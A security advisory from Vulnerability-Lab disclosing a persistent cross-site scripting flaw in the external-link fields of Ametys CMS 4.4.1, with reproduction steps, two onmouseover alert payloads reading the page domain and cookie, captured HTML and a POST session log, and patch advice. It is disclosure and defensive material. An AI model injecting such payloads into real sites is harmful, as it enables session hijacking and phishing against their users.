Ametys CMS 4.4.1 Cross Site Scripting

2022.01.26
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

Document Title: =============== Ametys v4.4.1 CMS - Cross Site Scripting Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2275 Release Date: ============= 2022-01-12 Vulnerability Laboratory ID (VL-ID): ==================================== 2275 Common Vulnerability Scoring System: ==================================== 5.2 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Build powerful and stunning websites. Whether you need an advanced corporate website, a powerful landing page, a professionnal blog or an event website, all the tools to make creative digital experiences are at your fingertips with Ametys. No coding skills needed. Ametys make it easy for everyone to create and manage unified digital platform. Ametys delivers simple and intuitive interface with a familiar ribbon Office style interface. (Copy of the Homepage:https://www.ametys.org/community/en/ametys-platform/ametys-portal/overview.html ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent input validation web vulnerability in the Ametys v4.4.1 cms web-application. Affected Product(s): ==================== Ametys Product: Ametys v4.4.1 - Content Management System (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-07-24: Researcher Notification & Coordination (Security Researcher) 2021-07-25: Vendor Notification (Security Department) 2021-**-**: Vendor Response/Feedback (Security Department) 2021-**-**: Vendor Fix/Patch (Service Developer Team) 2021-**-**: Security Acknowledgements (Security Department) 2022-01-12: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (User Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ A persistent script code injection web vulnerability has been discovered in the official Ametys v4.4.1 cms web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The vulnerability is located in the input fields of the link text, small description and description in the add external link function. The function is for example located in the link directory of the backend. Added links are listed with status and details. Attackers with low privileges are able to add own malformed link with malicious script code in the marked vulnerable parameters. After the inject the links are being displayed in the backend were the execute takes place on preview of the main link directory. The attack vector of the vulnerability is persistent and the request method to inject is post. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Link Directory (Add) Vulnerable Function(s): [+] add (External Link) Vulnerable Parameter(s): [+] Link Text [+] Small description [+] Description Affected Module(s): [+] Frontend (Main Link Listing) [+] Backend (Link Directory) Proof of Concept (PoC): ======================= The persistent web vulnerability can be exploited by remote attackers with low privilged user accounts with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Open the application path and login to the service as restricted user that allowed to create links 2. Open the link directory and create a new link (top|left) 3. Inject the test payloads to the link text, small description and description and save via post 4. On visit of the link directory the payloads executes in the backend listing or frontend 5. Successful reproduce of the persistent web vulnerability! Payload(s): <a onmouseover=alert(document.domain)>poc_link</a> <a onmouseover=alert(document.cookie)>poc_link</a> Vulnerable Source: Link Directory - Link (Add) class="x-grid-cell-inner " style="text-align:left;" <a onmouseover="alert(document.domain)">poc_link</a></div></td><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7478 x-unselectable" style="width: 248px;" role="gridcell" tabindex="-1" data-columnid="gridcolumn-7478"><div unselectable="on" class="x-grid-cell-inner " style="text-align:left;"><a onmouseover="alert(document.domain)">poc_link</a></div></td><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7479 x-unselectable" style="width: 247px;" role="gridcell" tabindex="-1" data-columnid="gridcolumn-7479"><div unselectable="on" class="x-grid-cell-inner " style="text-align:left;">&nbsp;</div></td><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7480 x-grid-cell-last x-unselectable" style="width: 148px;" role="gridcell" tabindex="-1" data-columnid="gridcolumn-7480"><div unselectable="on" class="x-grid-cell-inner " style="text-align:left;">&nbsp; </div></td></tr></tbody></table><table id="tableview-7474-record-105" role="presentation" data-boundview="tableview-7474" data-recordid="105" data-recordindex="1" class="x-grid-item x-grid-item-selected x-grid-item-alt" style=";width:0" cellspacing="0" cellpadding="0"><tbody><tr class=" x-grid-row" role="row"><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7475 x-grid-cell-first x-unselectable" style="width: 396px;" role="gridcell" tabindex="-1" data-columnid="gridcolumn-7475"><div unselectable="on" class="x-grid-cell-inner " style="text-align:left;"> <span class="a-grid-glyph ametysicon-link23"></span>test.de</div></td><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7476 x-unselectable" style="width: 149px;" role="gridcell" tabindex="-1" data-columnid="gridcolumn-7476"><div unselectable="on" class="x-grid-cell-inner " style="text-align:left;">Normal</div></td> --- PoC Session Logs (POST) --- https://ametys.localhost:8000.localhost:8000/cms/plugins/core-ui/servercomm/messages.xml Host: ametys.localhost:8000.localhost:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: */* Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------1197812616356669894551519312 Content-Length: 798 Origin: https://ametys.localhost:8000.localhost:8000 Connection: keep-alive Referer: https://ametys.localhost:8000.localhost:8000/cms/www/index.html Cookie: JSESSIONID=A1DC067A1739FDFBC72BCF921A5AA655; AmetysAuthentication=YW1ldHlzX2RlbW9fdXNlcnMjd2VibWFzdGVyI1A5WndHNTNzNmJhYlRWSDI; JSESSIONID=A0EC6E56FC3A2131C9D24C33CB9CCAAA Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin content={"0":{"pluginOrWorkspace":"core-ui","responseType":"xml","url":"system-announcement/view.xml"},"1": {"pluginOrWorkspace":"core-ui","responseType":"xml","url":"system-startuptime.xml"}}&context.parameters= {"siteName":"www","skin":"demo","debug.mode":"false","populationContexts":["/sites/www","/sites-fo/www"],"user": {"login":"testuser_restricted","population":"ametys_demo_users","firstname":"testuser_restricted","lastname":"User","fullname":"testuser_restricted User", "email":"testuser_restricted@test.com","populationLabel":"Ametys Demo Users","locale":"en"}} - POST: HTTP/1.1 200 Server: Apache/2.4.29 (Ubuntu) X-Cocoon-Version: 2.1.13 Ametys-Dispatched: true Content-Type: text/xml Via: 1.1 ametys.localhost:8000.localhost:8000 Vary: Accept-Encoding Content-Encoding: gzip Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Language: fr Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the input fields in the external link add function of the link directory. In a second step the input fields can be restricted for special chars to prevent further attacks. As next step the output location were the links are being displayed (frontend & backend) should to be sanitized correctly. Security Risk: ============== The security risk of the persistent input validation web vulnerability in the ametys web-application cms is estimated as medium. Credits & Authors: ================== Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. 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